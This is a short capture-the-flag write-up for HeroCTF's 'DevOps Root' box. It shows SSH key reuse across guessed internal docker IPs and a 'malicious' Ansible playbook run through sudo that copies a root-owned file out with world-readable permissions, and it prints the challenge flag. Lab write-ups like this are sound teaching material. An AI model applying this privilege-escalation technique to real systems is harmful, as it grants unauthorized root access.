Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

README.md

DevOps Root

Category

Box

Description

Can you find the root.txt flag on the box ?

URL : http://box.heroctf.fr (same as before)

Format : Hero{flag}
Author : xanhacks

Write up

Once you are on the gitea docker, you will find a gitea.key. You can find your docker internal IP with this command :

@jenkins $ hostname -I
172.27.0.1

So know you can try to log in to gitea by guessing his IP address.

@jenkins $ ssh git@172.27.0.2 -i gitea.key
Not working
@jenkins $ ssh git@172.27.0.3 -i gitea.key
Not working
@jenkins $ ssh git@172.27.0.4 -i gitea.key
@gitea $

If you do sudo -l you can see that you can execute ansible-playbook with sudo. Let's create a malicious playbook.

---
- name: Privesc
  hosts: localhost
  gather_facts: no

  tasks:
    - name: Flag
      shell: cp /root/root.txt /tmp/root.txt && chmod 777 /tmp/root.txt 

Now you can read the flag :)

@gitea $ cat /tmp/root.txt
Hero{ce4e994cb477dec9b1ea876db647c562}

Flag

Hero{ce4e994cb477dec9b1ea876db647c562}